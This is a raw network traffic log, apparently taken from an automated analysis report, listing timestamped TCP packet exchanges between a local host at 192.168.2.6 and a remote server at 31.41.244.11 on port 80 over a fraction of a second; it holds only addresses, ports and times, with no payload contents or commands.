Dec 27, 2024 08:52:12.004976034 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.006314039 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.006366968 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.006407022 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.006445885 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.007688046 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.007740974 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.007826090 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.007863998 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.009093046 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.009140968 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.009210110 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.009255886 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.010467052 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.010518074 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.010544062 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.010600090 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.011847973 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.011907101 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.011944056 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.011980057 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.013205051 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.013251066 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.013334990 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.013372898 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.014632940 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.014679909 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.014736891 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.014780045 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.016048908 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.016098022 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.016184092 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.016221046 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.017395020 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.017441988 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.017555952 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.017604113 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.018783092 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.018831968 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.018867016 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.018899918 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.020174980 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.020224094 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.020266056 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.020303011 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.021533012 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.021599054 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.021634102 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.021668911 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.022907019 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.022968054 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.023001909 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.023042917 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.024327040 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.024377108 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.024415016 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.024455070 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.025712013 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.025758982 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.025809050 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.025846958 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.027086973 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.027134895 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.027174950 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.027213097 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.028467894 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.028523922 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.028564930 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.028604031 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.029865980 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.029913902 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.029951096 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.029985905 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.031248093 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.031296015 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.031341076 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.031382084 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.032630920 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.032710075 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.032727003 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.032758951 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.034024000 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.034065962 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.034135103 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.034172058 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.035398960 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.035443068 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.035500050 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.035537958 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.036788940 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.036842108 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.036879063 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.036942959 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.038177013 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.038219929 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.038259983 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.038295984 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.039552927 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.039597988 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.039696932 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.039735079 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.040970087 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.041023016 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.041057110 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.041089058 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.042357922 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.042402029 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.042474031 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.042510986 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.043715000 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.043783903 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.043876886 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.043916941 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.045147896 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.045197964 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.045236111 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.045277119 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.046473980 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.046518087 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.046586037 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.046623945 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.047889948 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.047934055 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.047976017 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.048011065 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.049282074 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.049328089 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.049362898 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.049396992 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.050666094 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.050709963 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.050791979 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.050829887 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.052026987 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.052072048 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.052211046 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.052258015 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.053416014 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.053472042 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.053541899 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.053580046 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.054846048 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.054894924 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.054933071 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.054965973 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.056251049 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.056299925 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.056318998 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.056355953 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.057611942 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.057665110 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.057689905 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.057729006 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.058964968 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.059009075 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.059061050 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.059106112 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.060348988 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.060401917 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.060425997 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.060457945 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.181823015 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.181888103 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.181920052 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.181943893 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.182452917 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.182504892 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.182570934 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.182611942 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.183439016 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.183501005 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.183505058 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.183573961 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.184621096 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.184683084 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.184706926 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.184750080 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.185766935 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.185811043 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.185849905 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.185893059 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.186894894 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.186954975 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.187123060 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.187169075 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.188133001 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.188184023 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.188347101 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.188394070 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.189285994 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.189346075 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.189385891 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.189424992 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.190471888 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.190553904 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.190561056 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.190598965 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.191656113 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.191674948 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.191703081 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.191731930 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.192852020 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.192922115 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.192945004 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.192986965 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.194009066 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.194068909 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.194142103 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.194184065 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.195197105 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.195260048 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.195290089 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.195329905 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.196419001 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.196477890 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.196557045 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.196602106 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.197565079 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.197627068 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.197670937 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.197710991 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.198827982 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.198894978 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.198901892 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.198940039 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.199884892 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.199955940 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.200026989 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.200069904 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.201080084 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.201172113 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.201179981 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.201215029 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.202244043 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.202317953 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.202334881 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.202373028 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.203417063 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.203484058 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.203515053 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.203562021 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.204612970 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.204687119 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.204688072 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.204729080 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.205791950 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.205862999 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.205899000 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.205943108 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.206990957 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.207056046 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.207070112 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.207110882 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.208143950 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.208201885 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.208235979 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.208276987 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.209337950 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.209402084 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.209434986 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.209479094 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.210535049 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.210599899 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.210607052 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.210652113 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.211740017 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.211792946 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.211838007 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.212891102 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.212938070 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.212938070 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.212970018 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.213011980 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.214070082 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.214132071 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.214138031 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.214179039 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.215255976 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.215322018 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.215327978 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.215363979 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.216418028 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.216475010 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.216504097 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.216547012 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.217617989 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.217669010 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.217679977 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.217720985 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.218753099 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.218817949 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.218858004 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.218907118 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.219949961 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.219999075 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.220024109 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.220077038 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.221146107 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.221206903 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.221249104 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.221293926 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.222332954 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.222388029 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.222417116 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.222459078 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.223478079 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.223531008 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.223584890 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.223649979 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.224659920 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.224715948 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.224756002 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.224801064 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.225848913 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.225902081 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.225951910 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.225991964 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.227044106 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.227094889 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.227123022 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.227165937 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.228208065 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.228255033 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.228296041 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.228337049 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.229382038 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.229429960 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.229465961 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.229509115 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.230571985 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.230627060 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.230660915 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.230703115 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.231796980 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.231829882 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.231853008 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.231873989 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.232953072 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.233006954 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.233020067 CET	80	49949	31.41.244.11	192.168.2.6
